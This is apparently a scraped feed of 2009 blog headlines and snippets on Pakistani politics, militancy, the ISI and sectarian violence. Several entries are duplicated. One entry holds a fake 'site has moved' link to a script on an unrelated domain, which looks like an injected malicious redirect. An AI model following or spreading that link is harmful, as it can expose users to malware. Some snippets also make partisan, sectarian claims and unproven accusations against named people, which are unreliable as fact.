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Pak Taliban kill four Shia schoolchildren in Orakzai: Militants attack schoolchildren in Orakzai, four dead Tuesday, 08 Sep, 2009 (Dawn) Taliban militants are from the majority Sunni community (Deobandi sect) and attack Shias as part of their strategy to fight the government. —Reuters/File Photo PESHAWAR: Taliban militants
An example of how ‘desecration’ is staged and how it can be dealt with.: How ‘desecration’ is staged Pakistan has been saved from another trauma in a village near Punjab’s city of Chichawatni, with a population of 4,000 divided between Muslims and Christians. What happened has familiar pattern: some pages of the Holy
Is America our friend? —Rasul Bakhsh Rais: Is America our friend? —Rasul Bakhsh Rais Our rational self-interest in this situation dictates that we help rebuild a stable Afghanistan, help end the war and deepen our relationship with the United States, taking it beyond the contingencies of
What lesson can Pakistan learn from the way Sri Lanka has dealt with the terrorism of LTTE: General Beg’s mess Prime Minister Yousaf Raza Gilani has stated that Sri Lankan President Mahinda Rajapakse, during a recent meeting in Libya, told him that “elements in Sri Lanka could be linked to incidents of terrorism in Pakistan, including
Osama introduced Nawaz Sharif to Saudi royals: ex-ISI chief: Osama introduced Nawaz Sharif to Saudi royals: ex-ISI chief LAHORE: Osama Bin Laden introduced Nawaz Sharif to the Saudi royal family in the late 1980s, and – during a meeting – the former prime minister had asked the Al
Kurd sees no change after restoration of deposed judges: Kurd sees no change after restoration of deposed judges ISLAMABAD: Nothing has changed since the restoration of the deposed judiciary, Supreme Court Bar Association President Ali Ahmad Kurd said on Monday. Addressing a ceremony held at the Supreme Court
The Saudi Factor, Nawaz Sharif and Musharraf’s trial: Analyses by Asadullah Ghalib and Tanvir Qaiser Shahid
Corporate advertising during Ramadan plays into the legacy of General Zia’s Islamisation efforts. NFP’s article.: Pious follies Posted by Nadeem F. Paracha Source Islam is believed to be the basis of nationalism on which the Pakistani state was constituted, even though this notion continues to be hotly contested. Liberals hold the view that Pakistan
Corporate advertising during Ramadan plays into the legacy of General Zia’s Islamisation efforts. NFP’s article.: Pious follies Posted by Nadeem F. Paracha Source Islam is believed to be the basis of nationalism on which the Pakistani state was constituted, even though this notion continues to be hotly contested. Liberals hold the view that Pakistan
Bridging the civil-military divide in Pakistan: Bridging the civil-military divide Monday, September 07, 2009Talat Masood The motive of former ISI and military officers in resurrecting past skeletons on the media still remains a mystery and subject of intense speculation. Although the revelations and counter incriminations
Services of General Zia-ul-Haq for Pakistan: A critical analysis by Wusatullah Khan خدماتِ ضیا الحق ! وسعت اللہ خان بی بی سی اردو ڈاٹ کام، اسلام آباد ضیا دور میں منطق کے شعبے میں بھی عظیم الشان کام ہوئے بہت لوگ کہتے ہیں کہ ضیا
Why is President Zardari sticking to the 17th amendment? Analysis by Cyril Almeida: A circus with a purpose By Cyril Almeida Friday, 04 Sep, 2009 ‘Zardari’s woes actually began when he became president. It was a clever move tactically, but flawed strategically.’ – (File Photo) IF you had any doubt before, you
An assessment of President Asif Zardari by Abbas Mehkari: Signs of improvement Sunday, 06 Sep, 2009 DOOM and gloom is to be expected in a country dominated by rapacious politicians and brutal dictators. Democracy has been strangled in Pakistan, the rule of law violated at will and the
Roedad Khan, Ishaq Khan, Aslam Beg and the anti-PPP operation by ISI.: “I considered Benazir Bhutto a security risk.” Brigadier Imtiaz also alleged that Haumayun Akghtar paid renonwed journalist Haroon-ur-Rasheed bribe to write a book in praise of his father General Akhtar Abdur-Rehman.
Taliban losing some ground in Pakistan: All this has been achieved because of clarity of thinking in Pakistan, the government and the people both.: NWFP’s security is Pakistan’s security The Chief of the Army Staff, General Ashfaq Kayani, inaugurating a rehabilitation centre for captive children trained as suicide-bombers by the Taliban, has said that the army has broken the back of the Taliban
Why did Pakistani media censor a reality TV death in Thailand?: Here is a report by BBC Urdu.com revealing a ‘capitalist’ censorshp self-imposed by media in Pakistan regarding the death of a Pakistani in a reality TV show in Thailand. Obviously, commerical interests associated with Unilever and other multinational companies
Why did Pakistani media censor a reality TV death in Thailand?: Here is a report by BBC Urdu.com revealing a ‘capitalist’ censorshp self-imposed by media in Pakistan regarding the death of a Pakistani in a reality TV show in Thailand. Obviously, commerical interests associated with Unilever and other multinational companies
Froma Kharadar to Khajji Ground: A report by BBC Urdu’s Hasan Mujtaba: کھارادر سے کھجی گراؤنڈ تک حسن مجتبٰی بی بی سی اردو ڈاٹ کام، نیو یارک سنہ بانوے میں کراچی میں امن و امان کی صورتحال ناگفتہ بہ تھی۔ مئی انیس سو بانوے میں حیدرآباد کے قریب گائوں ٹنڈو بہاول
A beautiful Naat: Kalam Imam Zain-ul-Abideen (A.S.): Recited by : Mian Sheharyar PTV Hazrat Imam Zain-ul-Abidin was the eldest son of Hazrat Imam Husain (A.S.). His mother was the Persian princess Hazrat Shahr Banu (R.A.).
A beautiful Naat: Kalam Imam Zain-ul-Abideen (A.S.): Recited by : Mian Sheharyar PTV Hazrat Imam Zain-ul-Abidin was the eldest son of Hazrat Imam Husain (A.S.). His mother was the Persian princess Hazrat Shahr Banu (R.A.).
‘Pakistan saved China from embarrassment on Xinjiang violence’: * Both countries have not fully utilised political ties for economic gains * New Chinese embassy issue different from US embassy’s expansion By Sajjad Malik ISLAMABAD: Pakistan played a key role in dissuading certain Muslim countries from taking the
Islam, Ziaism and hypocrisy: A matter of faith: A matter of faith —Salman Tarik Kureshi It is the frightful institutions General Zia-ul Haq promoted and the retrograde educational systems he erected that have polluted the intellectual atmosphere of the land and given birth to today’s bigoted, obscurantist
General Aslam Beg’s Message to Supreme Court: In his letter to Nazir Njai, General Beg admits his implict threat in his message to the Supreme Court of Pakistan. MQM was established to counter Sindhi nationalists: Beg Daily Times Monitor LAHORE: Former army chief Mirza Aslam Beg
Terrorist pro-Taliban ex-MP Shah Abdul Aziz freed by judiciary. Shame!: Shah Aziz released on bail By Khalid Iqbal Source RAWALPINDI: The former MNA Shah Abdul Aziz, allegedly involved in the kidnapping-cum-murder case of a Polish engineer, was released from Adiala Jail on Wednesday. The surety bonds of Rs1,000,000 by
Terrorist pro-Taliban ex-MP Shah Abdul Aziz freed by judiciary in Pakistan. Shame on you, pro-Taliban judges!: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
No comments: PML-N softens stance on 17th Amendment: PML-N softens stance on 17th Amendment * Backs off from de-linking 17th Amend from package* Committee convinces PML-N on amendments to ‘contentious issues’ only By Irfan Ghauri ISLAMABAD: The Pakistan Muslim League-Nawaz (PML-N) – which was earlier insisting on
Attack on Hamid Saeed Kazmi and the Deobandi militants of Sipah Sahaba Taliban inside Islamabad: Feeling insecure in Islamabad The federal religious affairs minister, Mr Hamid Saeed Kazmi, escaped death at the hands of terrorists on Wednesday at Islamabad’s GPO chowk. He was driving out of his office without much security. His driver has
Documentary evidence: King Abdullah and Nawaz Sharif’s NRO: By: Ahmer Asif During Sharif (Butt) Brothers public meetings one slogan is often very popular i.e. DAIKHO DAIKHO KAUN AAYA SHAER AAYA SHAER AAYA !!! (Watch out who’s come Lion’s come Lion’s come !!) I wonder what was wrong
Documentary evidence: King Abdullah and Nawaz Sharif’s NRO: By: Ahmer Asif During Sharif (Butt) Brothers public meetings one slogan is often very popular i.e. DAIKHO DAIKHO KAUN AAYASHAER AAYA SHAER AAYA !!! (Watch out who’s come Lion’s come Lion’s come !!) I wonder what was wrong with
King Abdullah says that any step against Musharraf could affect Pak-Saudi ties: It is interesting to see that Musharraf’s meetings with Saudi king have been distorted and misrepresented by a member of the usual pro-Nawaz, pro-Taliban propaganda cell, i.e. Saleh Zaafir (of The News). It may be noted that Saleh Zaafir,
King Abdullah says that any step against Musharraf could affect Pak-Saudi ties: It is interesting to see that Musharraf’s meetings with Saudi king have been distorted and misrepresented by a member of the usual pro-Nawaz, pro-Taliban propaganda cell, i.e. Saleh Zaafir (of The News). It may be noted that Saleh Zaafir,
Pakistan’s Foreign Office: a subsidiary of ISI: BBC Urdu dot com: Pakistan’s Foreign Office has always been a subsidiary of ISI پاکستانی وزارتِ خارجہ: طفیلی ادارہ! بیورو رپورٹ اسلام آباد بے نظیر بھٹو اور نواز شریف نہ صرف بھارت سےبہتر تعلقات بلکہ افغان صورتحال سے بھی
From Minus One to Minus Two Formula in Pakistan: Ali Salman’s analysis points towards the possibility that the anti-democracy establishment (military and civil bureaucracy) in Pakistan may be behind the campaigns to defame President Zardari and Nawaz Sharif. مائنس ون نہیں اب مائنس ٹو علی سلمان بی بی
Hamid Saeed Kazmi shot by the Taliban-Sipah-e-Sahaba alliance in Pakistan: وفاقی وزیر کے ڈرائیور یونس کی معذور والدہ ن
Hamid Saeed Kazmi shot by the Taliban-Sipah-e-Sahaba alliance in Pakistan: وفاقی وزیر کے ڈرائیور یونس کی معذور والدہ نے اپنے مرحوم بیٹے کے جوتے تھام رکھے ہی The Deobandi-Wahhabi terrorists in Pakistan attack Federal Minister for Religious Affairs. Driver Killed. Hamid Saeed Kazmi, an eminent Sunni (Barelvi) scholar was
Qadam barhao Nawaz Sharif: Not only against Musharraf but also against Hamid Gul and Zia: An interesting analysis by Latif Chaudhry. Also watch a video clip of Nawaz Sharif praising General Zia-ul-Haq and contrast that vidoe with his today’s stance against Musharraf.
Civil society in Pakistan must remain alert against anti-democracy conspiracies…: Muhammad Amir Khakwani alerts the civil society in Pakistan against the anti-democracy forces, namely the ISI and their agents in Pakistani media. Some of such persons include Brigadier Imtiaz, Dr Shahid Masood, Kamran Khan, General Hameed
Civil society in Pakistan must remain alert against anti-democracy conspiracies…: Muhammad Amir Khakwani alerts the civil society in Pakistan against the anti-democracy forces, namely the ISI and their agents in Pakistani media. Some of such persons include Brigadier Imtiaz, Dr Shahid Masood, Kamran Khan, General Hameed Gul comment: Taking